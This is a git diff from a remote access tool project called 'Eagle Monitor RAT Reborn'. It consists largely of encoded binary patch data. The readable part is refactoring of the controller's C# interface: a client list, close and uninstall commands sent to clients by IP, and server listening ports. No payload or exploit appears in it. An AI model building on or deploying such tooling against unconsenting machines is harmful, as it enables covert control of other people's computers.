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 json = JsonConvert.DeserializeObject>(request); - foreach (Misc.GitHubAPI gitHubAPI in json) + List json = JsonConvert.DeserializeObject>(request); + foreach (GitHubAPI gitHubAPI in json) { this.updateLogRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245); this.updateLogRichTextBox.AppendText("Version : " + gitHubAPI.tag_name + "\n\n"); @@ -131,18 +119,6 @@ private void MainForm_Shown(object sender, EventArgs e) this.updateLogRichTextBox.SelectionColor = Color.Red; this.updateLogRichTextBox.AppendText(ex.ToString()); } - finally - { - Misc.Utils.ReadSettings(); - Misc.Utils.StartServers(); - this.portLabel.Text = "Listening on : { "; - foreach (int p in Program.settings.ports) - { - this.portLabel.Text += p.ToString() + ", "; - } - this.portLabel.Text = this.portLabel.Text.Remove(this.portLabel.Text.Length - 2, 2); - this.portLabel.Text += " }"; - } } private void closeGuna2ControlBox_Click(object sender, EventArgs e) @@ -150,7 +126,7 @@ private void closeGuna2ControlBox_Click(object sender, EventArgs e) Misc.Utils.SaveSettings(); if(this.logsDataGridView.Rows.Count > 0) Misc.Utils.SaveLogs(this.logsDataGridView); - Misc.Imports.NtTerminateProcess((IntPtr)(-1), 0); + Imports.NtTerminateProcess((IntPtr)(-1), 0); } private void logoPictureBox_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e) @@ -239,7 +215,7 @@ private void closeToolStripMenuItem_Click(object sender, EventArgs e) foreach (DataGridViewRow row in clientDataGridView.SelectedRows) { string IP = row.Cells[2].Value.ToString(); - ClientHandler.ClientHandlersList[IP].SendPacket(closePacket); + ClientHandler.StartSendData(ClientHandler.ClientHandlersList[IP], closePacket); } } @@ -249,7 +225,7 @@ private void closeUninstallToolStripMenuItem_Click(object sender, EventArgs e) foreach (DataGridViewRow row in clientDataGridView.SelectedRows) { string IP = row.Cells[2].Value.ToString(); - ClientHandler.ClientHandlersList[IP].SendPacket(uninstallPacket); + ClientHandler.StartSendData(ClientHandler.ClientHandlersList[IP], uninstallPacket); } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.resx b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.resx index f807b27f..e3ef66ba 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.resx +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.resx @@ -202,6 +202,9 @@ True + + 394, 17 + diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/Utils.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/Utils.cs index 89758909..88d84331 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/Utils.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/Utils.cs @@ -4,6 +4,7 @@ using System.Runtime.InteropServices; using System.Windows.Forms; using Eagle_Monitor_RAT_Reborn.Network; +using Guna.UI2.WinForms; /* || AUTHOR Arsium || @@ -45,18 +46,18 @@ internal static void InitiateForm(ClientHandler clientHandler) { try { - clientHandler.clientForm.Show(); - clientHandler.clientForm.BringToFront(); + clientHandler.ClientForm.Show(); + clientHandler.ClientForm.BringToFront(); } catch (Exception) { - clientHandler.clientForm = new ClientForm(clientHandler); - clientHandler.clientForm.Show(); + clientHandler.ClientForm = new ClientForm(clientHandler); + clientHandler.ClientForm.Show(); } finally { - clientHandler.clientForm.Text = $"Client : {clientHandler.fullName}"; - clientHandler.clientForm.clientLabel.Text = $"Client : {clientHandler.fullName}"; + clientHandler.ClientForm.Text = $"Client : {clientHandler.FullName}"; + clientHandler.ClientForm.clientLabel.Text = $"Client : {clientHandler.FullName}"; } } @@ -64,5 +65,37 @@ internal static Image ResizeImage(Image imgToResize, Size size) { return (Image)(new Bitmap(imgToResize, size)); } + + internal static void SetTabImage(Guna2TabControl guna2TabControl, Icon[] icons) + { + ImageList imageList = new ImageList + { + ColorDepth = ColorDepth.Depth32Bit, + ImageSize = new Size(28, 28) + }; + + foreach(Icon icon in icons) + { + imageList.Images.Add(icon); + } + + guna2TabControl.ImageList = imageList; + + for(int i = 0; i < guna2TabControl.TabCount; i++) + { + guna2TabControl.TabPages[i].ImageIndex = i; + } + } + + internal static void SetTotalClients() + { + lock (Program.mainForm.totalClientLabel) + { + Program.mainForm.totalClientLabel.Invoke((MethodInvoker)(() => + { + Program.mainForm.totalClientLabel.Text = $"Total Clients : {ClientHandler.CurrentClientsNumber}"; + })); + } + } } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Eagle Monitor RAT Reborn.csproj b/Remote Access Tool/Eagle Monitor RAT Reborn/Eagle Monitor RAT Reborn.csproj index b9f9263c..5df254ea 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/Eagle Monitor RAT Reborn.csproj +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Eagle Monitor RAT Reborn.csproj @@ -78,6 +78,9 @@ eagle2.ico + + true + DLLs\dnlib.dll @@ -157,15 +160,16 @@ - + - - + + - - - + + + + @@ -236,6 +240,8 @@ + + diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Logo/eagle256x256.png b/Remote Access Tool/Eagle Monitor RAT Reborn/Logo/eagle256x256.png new file mode 100644 index 0000000000000000000000000000000000000000..18f36dbd43010bec0415ba6e023e52ac35051dd4 GIT binary patch literal 40440 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 